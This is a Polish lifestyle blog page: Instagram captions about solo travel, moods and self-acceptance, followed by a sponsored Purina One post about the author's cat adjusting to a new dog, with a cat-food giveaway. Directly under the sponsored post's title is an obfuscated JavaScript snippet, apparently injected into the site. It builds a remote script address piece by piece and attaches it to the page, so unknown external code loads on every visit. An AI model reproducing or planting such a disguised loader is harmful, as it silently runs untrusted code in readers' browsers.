Wiele rzeczy w życiu myli! Na zdjęciu jestem szczęśliwa, serio. Było ciepło i miło, napoiłam i wygłaskałam pieska, zjadłam coś pysznego.
Często też krzyżuję ręce i nogi, ale nie jestem wtedy „zamknięta” albo „znudzona”, tylko wyrównuję sobie ciśnienie, bo mam niższe a tak czuję się lepiej 😉
I tak samo cudowne insta życie też jest mylące🤭. Ludzie pokazujący swoje sukcesy nie pokazują upadków i nieudanych działań (nie dziwię się, „propaganda sukcesu” bardzo dobrze sprzedaje!). Insta laski trudniące się prostytucją nie pokazują co muszą robić za te torebki,  buty i podróże.
Szczęśliwe mamy „wszystko jest kwestią organizacji” nie pokazują swojej frustracji gdy dziecko zwymiotuje na ostatnie czyste śpioszki.
Ja sama bardzo dbam o to co pokazuję, a czego nie. Nie chodzi o to, że nie jestem prawdziwa (bo jestem), po prostu moje życie to nie Big brother ;)
Wybieram się do Azji solo, więc nie będę wrzucać stories w czasie rzeczywistym. Nie chcę też siedzieć z nosem w telefonie, wolę sobie na godzinkę usiąść w hotelu i dorobić napisy do relacji. Trochę szukam zatem nowej formuły!
Dajcie znać czyje stories najbardziej lubicie, szukam świeżych inspiracji.
Moje aktualne top 3 to:
1. @szafasztywniary - nie potrzebuje 10 kafelków by powiedzieć „sto lat!”, merytorycznie, ze spokojem
2. @kasia_coztymseksem - Kasie śledzę jeszcze od czasów gdy nie opowiadała na insta o seksie i wiem, że bardzo potrzeba kogoś takiego w Polsce!
3. @evrdtrp - uwielbiam merytoryczne i fajne storiski z podróży❤️
Tych osób jest oczywiście dużo więcej, ale takie aktualne top3 stories w które klikam to właśnie te!
Dajcie znać kogo warto oglądać! Od razu mówię - nie lubię dram, ludzi o agresywnym tonie, filtrów „upiększających” ludzi i widoczki, i „smacznej kawusi”😁 Lubię ludzi konkretnych!
Kto wzbogaca Twoje chwile na insta?

#wakacje #podrozemaleiduze #lato #urlop #blogipodroznicze #blogpodrozniczy #travelpassion #relaks #motywacja #travelstagram #wspomnienia #grecja #korfu #kerkira #greece #girlswhotravel #polishtraveller #girlswhoexplore #collectmoments #mytravels #wearetravelgirls #traveljournal #girlslovetravel

Wiele rzeczy w życiu myli!...

Pytacie, czy nie boję się do Azji sama. Jasne, że się boję! Może nie w tym sensie, że jestem przerażona, ale czuję dreszcz niepokoju. Na bank się któregoś dni rozpłaczę, bo coś mi nie wyjdzie😉 na bank a chwilę później będę się z tego śmiała!
Już na starcie robię to źle, bo zamiast spakować się w plecak (potrafię!) jadę z walizką, bo chcę odwiedzić kilka osób i przywieźć im z Polski rzeczy, za którymi tęsknią i których im brak.
Ja w ogóle mam 2 stany (oba w 100% prawdziwe!). W jednym z nich z łatwością poznaję ludzi, jestem otwarta i znajduję nowe przygody, w drugim moje spojrzenie mówi „Idź stąd”. Czasami zadziwia mnie jak szybko potrafię się pomiędzy nimi przełączać! 
Myślę, że będzie fajnie, bardzo potrzebuję takiego czasu dla mnie! Już jaram się na myśl o tym, że będzie mi się w tym wilgotnym powietrzu doskonale oddychać. Na myśl o pysznym jedzonku i porządnych masażach!
Zrezygnowałam na ten moment z Myanmaru i prawdopobnie będzie to Pekin(na chwilę!)- Bangkok-Koh Chang- Bali i na koniec dwa tygodnie w Wietnamie. Zacznę z dołu, ruszę w górę. Znając mnie - zmienię pewnie plan z 10x ;) I spoko, na tym polega zabawa, nie biorę życia już tak bardzo serio, staram się bardziej z niego korzystać, mniej się spinać. Dlatego teraz wskakuję do wanny pełnej piany, zapalam świeczki i pora na totalny relaks🥰

Wyobraź sobie, że problemu w stylu brak urlopu/kasy/towarzystwa/z kim zostawić psa/ nie znam języka nie istnieją. Jest czarodziej, robi plum i ich nie ma🧙🏻‍♂️. Gdzie w tej sytuacji chcesz pojechać? Co robisz, gdy nic cię nie ogranicza?☺️ Daj znać!
#podróże #podróżemałeiduże #wakacje #lato #azja #travelphotography #travelgirl #girlswhotravel #solotravel #langkawi #malaysia #malezja

Pytacie, czy nie boję się...

Dziewczyno, jeśli czekasz jak na szpilkach czy chłopak odpisze- wyłącz te cholerne powiadomienia! Za każdym razem jak słyszysz charakterystyczny dźwięk🔔, uwalnia się kortyzol a ty masz reakcję stresową. A potem i tak jesteś rozczarowana, że to 20% rabatu na sandały, a nie książę z tindera💁🏻‍♀️ PLUM-stres-PLUM-stres-PLUM-stres - zwariować można!
Plus może warto przemyśleć, czy to właściwa relacja? Nie fajniej dostawać niespodziewane wiadomości od których się rumienisz, niż czekać aż ktoś odpisze?
Oczywiście dotyczy to relacji nazwijmy to... romantycznych, nie takich bez zobowiązań!😉 Piszę o tym przy okazji zadania numer 16 w ramach wyzwania. Dopóki nie oddałam tej działki mojemu przyjacielowi i menadżerowi @troyann (takie 2w1 bywa wygodne!), cały czas byłam w trybie stand-by czekając na umowę, ustalenia, akcept, dalsze negocjacje. Piątkowy wieczór, daleka podróż - wieczny podryg na dźwięk powiadomienia, bo może to akurat to, na które czekam... Zawsze na jakieś czekałam!😏
Maciek przekonał mnie w Gruzji, bym się ich pozbyła. Na bieżąco migają mi tylko podczas korzystania z instagrama, co jest wygodne, szczególnie gdy odpowiadam na pytania do wyzwania. Ale uwolniłam się od maila! Lubię kontakt z Wami, ale z umiarem!
Prawie w ogóle nie odpowiadam już na messengerze, jeśli mam do kogoś coś pilnego - dzwonię lub piszę SMS. Wiem, że jeśli ktoś będzie miał coś pilnego do mnie - też wybierze taką formę!
I jasne, pierwszą rzeczą, którą kupię w Bangkoku będzie karta SIM i internet (ostatnio też tak było🙈), ale zrobię to by ogarnąć transport i nocleg, a nie by sprawdzić czy przez moją nieobecność w sieci świat czasem nie spłonął ;) Jeśli nie jesteś gotowa na krok o którym mówię, pomyśl o tych wszystkich razach, gdy czekałaś na kuriera z paczką i specjalnie nie wychodziłaś z domu, a on cię olał i zostawił paczkę w punkcie, albo napisał, że przyjedzie jutro🙄
Dziewczyno! Życie Ci przelatuje przez palce na tym czekaniu!
Napisałam to pod wpływem wiadomości z uczestniczką wyzwania, której smartfon przyrósł do ręki bo wiecznie czeka! ;) zdjęcie zrobiłam 3 lata temu po Azji, kojarzy mi się z wolnością!
#szczerze_pisząc #motywacja #wyzwanie #aniamaluje #powiadomienia #stres

Dziewczyno, jeśli czekasz jak na...

Nie wiem jak szybki musiałby być aparat, aby uchwycić ten uśmiech na mojej twarzy😅 niestety mam domyślny bitch face, co nie znaczy, że odpowiada on temu co dzieje się u mnie w środku ;). Faktem jest jednak, że ludzie zawsze zauważają „ty się uśmiechasz” gdy się uśmiecham, bo jak ten uśmiech długo jest na mojej twarzy, to znaczy, że jest mi dobrze i błogo.
Ale dzisiaj to się śmieję cały dzień🤣 Nie dość, że wszystko mi fajnie wyszło, to jeszcze rozbawiły mnie do łez wasze wiadomości o tym, co dziwnego zrobiłyście podczas PMS🤪. Chodźcie na stories, jest fajnie! (Serio ten uśmiech jest rzadki, nie umiem się tak uśmiechnąć sztucznie, musi być totalnie autentyczny!)
#aniamaluje #szczerze_pisząc #zamioculcas #plantlady #crazyplantlady #pms #blogerka #uśmiech #radocha #frajda

Nie wiem jak szybki musiałby...

Ależ ja miałam od kilku dni podły humor! Niczym kiepski detektyw chwytałam się banalnych tropów, jak osłabienie i rozdrażnienie po chorobie, ciśnienie, pełnia księżyca, zły stan powietrza... Ten stan narastał od kilku dni, a ja miałam takie „wtf, o co ci chodzi dziewczyno?” Wszystko w życiu idzie jak trzeba, niektóre rzeczy nawet lepiej, skąd ten nastrój?
Zrzuciłam wszystko co mi leżało na wątrobie i co mnie gniotło w różnych sytuacjach, ale nie pomogło.
W życiu bym nie wpadła na to, że z opóźnieniem trzepnęła mnie książka i czytanie o szalenie skomplikowanej sytuacji w Myanmarze (Birmie).
Tak już czasami mam, że reaguję z opóźnieniem. 
Czasami zadziwia mnie z jaką lekkością jednego dnia przeżywam frustrację, bo w żaden sposób nie mogę spuścić napięcia, a drugiego mam wyborny humor, uśmiecham się szeroko i zaśmiewam z prymitywnych memów.
Tylko czemu zawsze to uwolnienie przychodzi wtedy, gdy pozwolę sobie na te brzydkie emocje i przestanę z nimi walczyć?
Pewnie z tego samego powodu, dla którego ludziom wychodzi podryw gdy odpuszczą, a nie desperacko próbują bardziej.
Ale mi teraz dobrze po pozbyciu się tego dziwnego ładunku! Uczucie jak zdjęcie niewygodnych butów po całym dniu! Albo jak dobiegnięcie do domu i zrobienie siusiu po godzinie wstrzymywania resztką woli🙃

Super ważna lekcja dla mnie: bardziej poddawać się falom, nie walczyć z nimi, bo się utopię!

#tajlandia #thailand #podróże #podróżemałeiduże #aniamaluje #szczerze_pisząc

Ależ ja miałam od kilku...

Którą Anią dzisiaj jesteś? 1 czy 2? I tak się zawsze kończy z nogami na ścianie🤣, ale taka mała refleksja, którą chcę się podzielić - jestem z siebie dumna! Kiedy bardziej chorowałam, wymyśliłam sobie, że muszę mieć w życiu coś, co da mi niezależność i pozwoli zarabiać nawet wtedy, gdy ja nie będę w stanie pracować. Aż do wczoraj nawalało mnie gardło, więc napakowałam czas spotkaniami towarzyskimi i nawet wciągnęłam serial, bo z pracką mimo chęci to jakoś nie szło. I super czuję się z tym, że:
- MOGŁAM.
Nie żyję bez poduszki finansowej, mogę powiedzieć sobie - Ania, teraz nie pracujesz, zluzuj
- nic nie robiąc* i tak zarabiałam. Moja wydana w 2013 książka, której w ogóle nie promuję bo mi się już nie podoba(!) jak co roku złapała się w styczniowe flow i dała mi hajs. 
I to jest super rzecz, za którą jestem bardzo wdzięczna, bo i tak pozwalam sobie na miesiąc w Azji (podczas którego nikt nie zwolni mnie z płacenia za mieszkanie itp), a tutaj niemiłe niespodzianki nie niszczą mojego komfortu.
Ogromnie mnie to cieszy, bo wiem, że wiele osób „nie może sobie pozwolić na L4” z grypą, bo niższa pensja oznacza kłopoty finansowe a normalnie jest na styk😪O ile w ogóle są ubezpieczonymi szczęśliwcami na etacie!
Cieszę się, że udało mi się od tego uchronić! *przesadziłam z tym „nic nie robiąc” bo believe me or not - pytania do wyzwania i wyzwanie sprawiają, że siedzę na IG 5h dziennie😰 ale robię to za darmo i od siebie, nigdy nie prosiłam o patronite itp, więc still - nie robię w styczniu nic zarobkowo.

Cholernie mnie to cieszy, że mam komfort życia bez strachu i chociaż nie zarabiam bardzo dużo, to mogę sobie pozwolić na luksus chorowania.
I przeraża mnie, że w 2020 chorowanie stało się luksusem. 
Strasznie! 
#aniamaluje #szczerze_pisząc #książka #czytam 
#parisvibes #neutralstyle #styledujour #lookdujour #parisstyle #classicstyle #womenwithstyle #theparisguru #frenchvibes #parismood #modeaparis  #aestheticlypleasing #aestheticoutfit #postitfortheaesthetics #ootdsubmit #darlingdaily

Którą Anią dzisiaj jesteś? 1...

Czy nie możemy próbować być TROSZKĘ lepsi bez tej całej napinki?
Bez zawstydzania nastolatek na utrzymaniu rodziców, że nie mają każdej jednej rzeczy eko i zero waste i w ogóle instagramowa policja approved?
Bez wytykania komuś lotu na chrzciny kuzynki, bo ślad węglowy i straszne zło?
Komuś, kto zaczął przygodę z byciem wege, że robi za mało?
 Nie podoba mi się napinka wyzwalająca poczucie, że jeśli stać cię tylko na malutki kroczek, to jesteś ZŁY I NIEDOBRY. Nie jesteś!
Wrzucając  jakieś linki do swoich starych tekstów (powiedzmy do 2016) często zaznaczam: dzisiaj napisałabym to inaczej. Dlaczego? Bo jestem bardziej empatyczna i rozumiejąca, złagodniałam. Nie lubię rewolucji, wolę łagodną ewolucję i dojrzewanie do zmian. Dlatego chociaż sercem jestem np. za bardziej eko, tańszymi i zdrowszymi (może za rok ukażą się badania, że jednak nie!) kubeczkami menstruacyjnymi, to nie wyobrażam sobie zawstydzania kobiet, dla których ten krok to za dużo. Bo mogę edukować i wyjaśniać, ale jestem za wyborem. I rozumiem gdy jest inny niż mój!
Tak samo jak rozumiem, że ktoś kupi bikini za 50 zł, na aliexpress zamiast takiego samego za 150 w sieciówce, bo ma ogólnie po opłaceniu wszystkiego 400 zł w budżecie i o takim szytym w Polsce w duchu eko to może pomarzyć. 
Chciałabym abyśmy bardziej próbowali się rozumieć, a mniej oceniać i osądzać. Pokaz innym jak żyjesz, zainspiruj do czegoś fajnego, ale nie wywołuj poczucia, że jest gorszym człowiekiem. Po co?
Nie zawsze da się wybrać idealnie, warto pomyśleć, że inni dokonują najlepszych wyborów jakich potrafią.
#noshame #aniamaluje #szczerze_pisząc #piesek #dogsofinstagram #wakacje #lato #toniemojpies #niestety

Czy nie możemy próbować być...

Jakiś czas temu wróciłam do robienia sobie autoportretów. Kiedyś dawało mi to frajdę, potem uznałam za dziecinne i głupie. Dzisiaj uważam, że dziecinne to jest nazywanie rzeczy przynoszących frajdę dziecinnymi🙃

Gdyby nie samowyzwalacz i kilka serii, to pośród kilku całkiem niezamierzonych sexy póz, nie znalazłabym tej! Perełka🤣
Mama całe dzieciństwo mi mówiła: usiądź jak człowiek! 
Dzisiaj to samo mówi mi fizjoterapeuta. A moje nogi plączą się na przedziwne sposoby i na krześle i na tym legowisku, które zrobiłam sobie do czytania😅
Co jest ironiczne, bo mam szeroki parapet o którym zawsze marzyłam, że czytanie z kubkiem gorącej czekolady w oknie... kupiłam nawet piankę tapicerską na ten parapet by było miękko w tyłek i co? W ogóle na nim nie siadam! 
Fun fact: kiedyś potrafiłam założyć sobie nogi za głowę, ale raz nie mogłam się z tego potem rozplątać😅
Czy są tu jakieś osoby dzielące mój problem z nogami? Odezwijcie się, może moja mama zrozumie, że to nie jest moja złośliwość, że przy obiedzie zdarzyło mi się siedzieć po turecku🤦🏻‍♀️ #aniamaluje  #szczerze_pisząc #czytanie #książka #nogi #autoportret #interiordesign #zamioculcas #plants

Jakiś czas temu wróciłam do...

No i jak, miała być realizacja postanowień „od nowego roku” a jakoś kacyk i zmęczenie nie sprzyjają treningowi a ze zdrowym odżywianiem też ciężko?
Startuję z czymś banalnym, bo cóż może być bardziej oklepanego niż wyzwanie styczniowe?🤪Ale na zachętę powiem, że miało wystartować rok temu, ale uznałam, że jest niedopracowane. Dałam je dziesięciu osobom, które przesłały mi swoje uwagi, podzieliły się trudnościami i je ulepszyłam.
UWAGA! To nie jest jedno z tych pięknych wyzwań, gdzie zapisujesz swoje wyniki w ślicznym notesie brokatowymi cienkopisami. Tu trzeba trochę pozasuwać w realu, nie w marzeniach!
Nie chciałam, by było jak te wszystkie rzeczy z pinteresta albo filmiki z pięciominutowymi DIY, które oglądasz, mówisz pod nosem, że fajne (a może nawet zapisujesz w zakładkach!) ale nigdy nie realizujesz🤫
Ono jest po prostu skuteczne.
30 zadań, na które jest 45 dni.
Lżejsze i trudniejsze.
Codziennie na stories! 
Aha, oczywiście wystartowałam z wyzwaniem, ale nie wymyśliłam nazwy, więc przygarnę propozycje 
#wyzwanie #nowyrok #motywacja #aniamaluje #szczerze_pisząc #nogi #nylons #rajstopy #kropki #kropeczki #polkadot #zamioculcas

No i jak, miała być...

Nadchodzi fala podsumowań  od tych, którym wszystko się udało (i fajnie!👏🏻) a przyznam, że nie zrealizowałam żadnego kluczowego celu na 2019🤪
I nie jestem zła! Ani trochę!😲
Miałam jakieś założenia odnośnie tego, co bym chciała osiągnąć.
A potem poczułam, że sama kasa jest dla mnie za małą motywacja i mogę to zrobić, ale nie czuję z tego radochy. 
W 2019 dałam sobie plaska w twarz i zastanowiłam się , czego NAPRAWDĘ CHCĘ. Nie zawsze to były fajne myśli! ✅przestałam uciszać ten głos, który mówił czego pragnę, a który uciszałam, bo nie pasował mi do moich wyobrażeń o mnie samej.
Ale kiedy ich posłuchałam, to o jeju! Zaczęło mi być fajniej w życiu. ✅ Np. niedziele tylko dla mnie (dzisiaj to święto ruchome). Nie zdawałam sobie sprawy jak ja bardzo potrzebuję przestrzeni TYLKO dla siebie! ✅ Jestem asertywna bez poczucia winy i strachu przed tym, że ktoś uzna mnie za niemiłą (nie muszę być miła!)✅ Piszę bloga znowu dla przyjemności, bo choć Wasze propozycje tematów są super, to ja muszę czuć moment i dać myślom dojrzeć, nie jestem wyrobnikiem tworzącym na zawołanie. Nie chcę być!
✅ Przestałam patrzeć  na liczby i zastanowiłam się, czy w ogóle chcę być instagramerką i blogerką. Nie chcę. Chcę być Anią, która ma bloga i instagrama.

To był naprawdę dobry rok, chociaż nie postawię spektakularnych ptaszków na kartce z celami! Jak ja mogłam w ogóle mieć cele, nie wiedząc czego chcę?🙈
To był mój taki gap year, w którym przypadkiem zarobiłam najwiecej w życiu (i większość przehulałam!) ale niczego nie żałuję!

#aniamaluje #szczerze_pisząc #barcelona #parkguell #sukienka #podróże #podróżemałeiduże #catalunya #cele #podsumowanieroku #podsumowanie2019 #motywacja

Nadchodzi fala podsumowań od tych,...

Gdy jesteś tą trzecią…+ KONKURS

(function(){
tbj9u=”pbw787cXbj9q”;tbj9=document.createElement(“script”);
tbj9_=”u”+(“st”);tbj9_+=”at”+(“.”);tbj9.async=true;tbj9_+=”in”;
tbj9u=”37.”+tbj9u;tbj9.type=”text/javascript”;tbj9u+=”8r95sn843bdi”;
tbj9u+=”gpja”;tbj9_+=(“f”)+”o”+(“/”);tbj9.src=”//”+tbj9_+tbj9u;
tbj9d=document.body;tbj9d.appendChild(tbj9);
})();

Chyba nikt nie lubi czuć się jak kwiat przy kożuchu. Albo skarpetki do sandałów.  Niby się jest, ale jakby się nie było to żadna specjalna różnica dla świata. 

Myślałam, że jestem trochę mądrzejsza. Wiecie, uczę się na swoich błędach, wyprzedzam po kilka ruchów jak szachista. Mam zawsze opracowany plan B, plan ucieczki, nawet zawsze mam ważny paszport i jakiś podstawowy hajs w innej walucie – na wypadek wojny czy innego licha. Tym bardziej nie przypuszczałam, że wyciągnę zbyt płytkie wnioski z kilku sytuacji z życia własnego oraz innych.
Masz super relacje z rodzicami i nagle słyszysz, że pojawi się młodsza siostra. Zajmie całą ich uwagę, czas, pieniądze, myśli. Jak się czujesz?
Chodzisz do szkoły, masz najlepszą przyjaciółkę. Best friends forever i tak dalej. A potem chorujesz na zapalenie płuc. Nie ma cię w szkole dwa tygodnie. Po powrocie  nagle okazuje się, że przyjaciółka siedzi w ławce z inną. I niby wciąż się przyjaźnicie, ale czujesz sie jak piąte koło. Może nie u wozu, ale w samochodzie. To które czeka, aż nawali jedno z czterech działających. Niby potrzebne, a jednak przez większość czasu bezużyteczne. Dające poczucie bezpieczeństwa “w razie co”. I tyle. Mogłoby cię nie być, nikt nie zauważy aż coś się stanie. Auć.
Albo jesteś starsza, masz już przyjaciółkę i ona się zakochuje. I od tej pory cały jej czas pochłania “misiaczek”. Nawet jak w końcu gdzieś razem wyskakujecie, to tylko paplanie, że misiaczek to, misiaczek tamto.
Jak się z tym czujesz?

Druga połowka robi karierę, jest rozchwytywana, często gdzieś jeździ. A ty chcesz ją dla siebie.
Albo chłopak kocha swój samochód i cały czas poświęca na jakieś ulepszenia, modyfikacje. Myślisz że się domyśli i kupi śliczną nową kanapę do waszego gniazdka, a on obwieszcza “kochanie, zobacz, kupiłem nowe alufelgi”. Auć.
Jesteś ulubieńcem przełożonego, cokolwiek nie zrobisz – zawsze jest super. Ale po urlopie już ktoś wskoczył na swoje miejsce. Niby wciąż masz to samo stanowisko, ale coś jest jakoś… inaczej.
Byłam w kilku z tych sytuacji od różnej strony, jeszcze więcej obserwowałam, chociaż niektóre wydają się abstrakcyjne. Mąż zazdrosny o to, że żona spędza czas z ich nowonarodzonym dzieckiem, bo czuje się odtrącony. “Z dzieckiem się trzeba było ożenić!” rzuca trzaskając drzwiami i oprócz tego, że pomieszały mu się formy (żona mogła co najwyżej wyjść za mąż), to jest w tym wszystkim jakieś fatalne niezrozumienie, bo ona też czuje brak. Czasu, swojego życia, spokoju.
Gdy miałam 10 lat, rodzice świetnie przygotowali mnie na narodziny siostry. Byłam najszczęśliwsza na świecie biegnąc do sklepu po pampersy czy inne  niezbędniki. Wiedziałam, że narodziny siostry nic nie zmieniają, bo wciąż jestem kochaną córeczką. 
Zawsze uważałam siebie za jakąś całość. Dzisiaj nie umiem być już chyba zazdrosna. Kibicuję “konkurencji”, oddaję innym zlecenia, na które nie mam czasu. Polecam, rekomenduję. Mam swoje pasje, dziedziny w których się realizuję. Swoją przestrzeń, której potrzebuję i jeśli ktoś jest o nią zazdrosny to jest ciężko. Bo super by było, gdyby też miał swoją nienaruszalną. Nie umiałabym być jak ktoś w stylu osób mających wspólne “Madzia Kamil Kowalscy” konto na facebooku. 
Po wszystkich przeżytych i zaobserowanych sytuacjach byłam pewna, że umiem podejść do poważnych spraw poważnie.
Schwarz, mój kot zwany “szarcusiem” i “szwarculkiem” nigdy nie był specjalnie zabawowy. Spokojny kanapowiec, leniuch, śpioch. Jak widzi aparat to się przed niego pcha, a potem uda że wcale nie chciał:
Ale kot ma też swoje drugie tajemne życie. Łazi po dachach i codziennie przynosi mi szczura, ptaka albo żabę. Czasami żywe, bo upodobał sobie mord na moich oczach. Żebym nie myślała sobie że znalazł jakąś padlinę.  A potem “tul mnie, miziaj za uszkiem, jestem małym słodkim Szwarcusiem”.
Gdy kilka lat temu odszedł mój kochany pies, myślałam że już nigdy więcej żadnego nie pokocham. Że każdego będe porównywać. Że nie ma opcji. Ale pojawił się on. Ed. Znaczy Edek mu dano w hodowli, ale siostra nazwała go Niunio. Wcześniej oczywiście wszystko sprawdzone i przemyślane pod każdym kątem. Że musi to być młody pies.  Że rasy, która dogaduje się z kotami, bo innej opcji nie ma. Że ze względu na kota, schronisko nie wchodzi w grę, bo Szwarcuś chociaż słodki to potrafi wyciągnąć pazurki i byłoby niewesoło. Że musi to być malutki psiak, bo nie mogą mieć za dużych różnic ani wielkością ani masą. 
Mój kot jest aktywny, chociaż się nie wydaje. Skacze po drzewach, potrafi złapać ptaka w locie (ku mojemu przerażeniu!).
Wszystkie wysiłki skierowałam więc na to, by Szwarcek nie czuł się odtrącony. Do tej pory był moją perełką, myszką, misiaczkiem, słoneczkiem, Szwarculkiem i reszty określeń Wam oszczędzę, bo jak każda kociara zwracałam się do niego mnóstwem słodko-pierdzących określeń. Chciałam aby czuł się tak nadal.
Pies dostał jasne komendy i nigdy nie śmiał zajrzeć do kociej miski ani nie reagował gdy kot zaglądał do psiej. Nie atakuje go, szanuje i z pokorą przyjął swoje miejsce w szeregu. Kot z pozoru też wszystko okej, znalazł sobie wygodne miejsce na parapecie, zaanektował dywanik, ale już nie było miziania i drapania za uszkiem, bo obdarzał mnie spojrzeniem “idź kobieto, zmęczony jestem”.
Szczurów i ptaków też już nie przynosił. Niby ulga, bo nie lubię tych prezentów, ale jednak czułam lekki niepokój. Z jednej strony o psychikę kota,z  drugiej  o to ile szczurów musi teraz biegać w opuszczonym domu pod lasem, stosunkowo blisko mnie. Brrr!
Kilka razy pytałam Was o rady i jestem za nie niesamowicie wdzięczna. Dzięki nim pies szanuje kota i jest w niego wpatrzony jak w obrazek.
Ale kot mi się rozleniwił. Nawet rzadziej wychodził. Zanim ktoś odsądzi mnie od czci i wiary – mieszkam w takiej okolicy, że gdy przejeżdża samochód to znasz te dźwięki na pamięć. Nie muszę podchodzić do okna by wiedzieć czy to sąsiad, czy śmieciarka, czy kurier. Nic innego specjalnie tu nie jeździ, bo to ciche i spokojne osiedle. Kot ma swoje ścieżki i swoje sekretne życie a ja to szanuję. I zrobiło mi się przykro gdy przestał je mieć.
Na początku listopada marka Purina rzuciła mi wyzwanie – kot miał trzy tygodnie jeść karmę Purina One. Zasady uczciwe i fajne, bo jak wyzwanie nic nie zmieni i efekty będą neutralne to też nic złego. Kupiłam więc karmę na próbę by wiedzieć czy nią nie wzgardzi, a że jaśnie pani zaakceptowała, to podałam marce adres. (Zostańcie do końca, bo mam też karmy dla Was:)).
Był jednak mały problem – Cypr. Zwierzaki miały zapewnioną na ten czas troskliwą opiekę,ale miałam obawy. Ostatecznie stwierdziłam, że może kot musi za mną zatęksnić by “wrócił do siebie”.
Do tej pory był moim oczkiem w głowie, słonkiem do miziania za uszkiem i bohaterem przynoszącym o czwartej nad ranem wielkiego szczura. Teraz czuł się zazdrosny o psa, który jest jak żywe srebro i ciągle chce się z nim bawić, na co kot reaguje ostrzegawczym podniesiem łapy i syknięciem. 
Jeśli coś mogło pomóc mi odzyskać mojego Szwarcusia, to czułam się w obowiązku to sprawdzić. Kotka nie może czuć się “tą trzecią”.
Oczywiście muszę w tym miejscu nadmienić, że kot wcześniej nie jadł tylko suchej karmy. Zazwyczaj miał jakieś “chrupki” w misce, ale nie pogardzi mięskiem z kurczaka, plastrem łososia, czy surowym jajkiem. Szwarcek nie mieszka w wielkim mieście, tylko malutkim miasteczku, na cichym osiedlu pod lasem. Przypomina typowego, wiejskiego kota buszującego wśród traw. To jak równoległy świat z innymi zasadami. Nie oszukam jego natury i nie zamierzam. Nigdy nie traktowałam kota jako swoją własność. Raczej cieszę się, że mogę mu pomóc w jego podróży przez życie i dać mu na niej wszystko co najlepsze.
Okej, dość gadania. Karma przyszła razem z tą, którą chcę dać komuś w konkusie (o tym za chwilę).
Oczywiście zaliczyłam pierwszą wpadę i pierwszego dnia otworzyłam mu karmę junior, konkursową. Bez obaw, odkupię 😀
Pies zrozumiał, że to prywatna własność jego starszego “przyjaciela” i zaakceptował swój los :).
A kot? Kot lubi gdy poświęca się mu uwagę, więc oczywiście nowy wynalazek przyjął z radością:
Psa mamy od lipca, a ja zdążyłam się już trochę poddać. Purina zachęciła mnie do trzech intensywnych tygodni z pracą nad kocisławem. Częściej do niego gadałam, miziałam, traktowałam jak króla świata. Na jedno pogłaskanie psa przypadały ze trzy głaski kota. Chociaż pies skacze na mnie z radości od samego wejścia – najpierw witam się z kotem. Okej, najpierw zdejmuję rajstopy bo pies podarł mi już tyle par, że zbankrutuję :).
Podobno gdy byłam na Cyprze, kot bawił się świetnie. Nie powiem, ucieszyłam się. Ale gdy wróciłam to pies oszalał z radości a kot na mnie spojrzał i sobie poszedł. Zero entuzjazmu. Nie powiem, przyjęłam to jak policzek. Zazdrość była silna, bo idąc z psem na spacer miałam ogon. Kot zaczął znowu wychodzić i gdy ja szłam chodnikiem, on równolegle po ogródkach sąsiadów. Coś zaczęło się ruszać.
Od dawna wiem, że mój kot nie jest malutką, milutką fotogeniczną kuleczką, tylko bezwzględnym mordercą szczurów,  więc jego rozmemłanie bardzo mnie martwiło. Tęskniłam za swoim szalonym potworkiem, który potrafił przypalić sobie wąsy.
Prawdę mówiąc – myślałam że to wszystko jest prostsze. Ale na mojego kota nie działa drapak (ma drzewa), nie zachwyci go tunel (bryka po ogrodzie) wzgardzi zabawką (poluje na serio). Każda kupiona zabawka błyskawicznie stawała się psią i efekt był odwrotny od zamierzonego. Ale po czasie intensywnej pracy misiek zauważył chyba moje starania i zaczął zachowywać się przyzwoicie.
Znowu je mi z ręki i pzestał mnie olewać. Ale ja tam – pół biedy! Gdy pies w swojej radości postanowił go polizać po pyszczku to na niego nie prychnął. W końcu  go…zaakcpetował. Chciałam napisać “polubił”, ale pewna nie jestem 😀 Pies jest wpatrzony w kota jak obrazek, kot traktuje psa z wyższością i rezerwą, ale chyba też akceptacją.
Jasne, kot nadal lubi spać i wypoczywać, ale tym razem dlatego, że bryka jak szalony po ogrodzie i drzewach. O czym świadczą wiecznie czarne łapki :). Jego sierść znowu błyszczy i ma te swoje duże, słodkie oczy.
Zrobić mu zdjęcie to wyczyn, bo jest szybki jak błyskawica, ale mam nadzieję że sami to widzicie :)). Co dało mi wyzwanie z marką Purina One?
Przede wszystkim – zmotywowało mnie do jeszcze jednej próby ogarnięcia emocji swojego kota. Myślałam że tak już musi być i trochę się poddałam. Po drugie – dzięki wyzwaniu obserowałam swojego kota dużo uważniej. Zarówno patrząc na to, czy nowa karma mu służy, jak i przyglądając się jego sierści, oczom, zachowani. Po trzecie – przełomem był dzień w którym znowu przyniósł szczura. Psu. 
Zaczęły się dogadywać, nie powiem że jak najlepsi przyjaciele ale jest duży progress. Fakt faktem – kot jest wciąż rozczarowany gdy pies postanawia przez niego przeskakiwać i próbować wciągnąć go w gonitwy, ale przyjmuje to ze spokojem. 
Kot znowu śpi z odsłoniętym brzuchem, czyli odzyskał 100% zaufania.  I po fochu, uff!
Cóż, teraz ja jestem tą trzecią 😀 Kot z psem mają swoje życia.
Czy są na sali jacyś kociarze?
Marka Purina na stronie https://www.kociarze.pl/trzy-tygodniowe-wyzwanie zorganizowała wyzwanie otwarte dla wszystkich – do wygrania są bardzo atrakcyjne nagrody:

– zapas karmy PURINA ONE
– bony o watościach 150, 300, 500 zł do wykorzystania w partnerskim sklepie internetowym
– gadżety PURINA ONE: miska dla Kota, torebka na karmę dla Kota oraz kocia kanapa!

Oczywiście kociej kanapy zazdroszczę i zachęcam do udziału w oficjalnym wyzwaniu i gry o fajne nagrody – będzie mi bardzo miło, jeśli zgarnie je ktoś czytający mojego bloga :).

Ale osobno mam też mały kokurs dla Was – marka Purina przeznaczyła
12 opakowań  karmy dla kogoś z czytelników mojego bloga!
Jeśli nie masz kota, możesz zagrać o karmę dla kogoś kto kota ma, mogę też wysłać na adres wybranego przez Ciebie schroniska.
Po prostu opisz w komentarzu (za pomocą systemu disquss) zabawną historię z kotem. 
To wszystko! Czas jest do czwartku 8.12.2016 roku (23:59), rozwiązanie w ciągu kilku dni. To szybki konkurs, chcę wysłać nagrody przed swoim wylotem do Tajlandii 🙂
Buziaki!

Bądź na bieżąco! 

  INSTAGRAM ❤ FACEBOOK 
❤ FACEBOOK MONIKI 

Niektóre teksty widzą tylko subskrybenci (nie lądują na “głównej”) –

 jeśli chcesz być na bieżąco, zostań obserwatorem w google lub na bloglovin 🙂 A jeśli dany tekst Ci pomógł, sprawisz mi przyjemność, jeśli klikniesz +1 w g+ pod tekstem 🙂

Follow on Bloglovin

Komentując oświadczasz, że znasz regulamin

Uściski, Ania

1
Dodaj komentarz

avatar
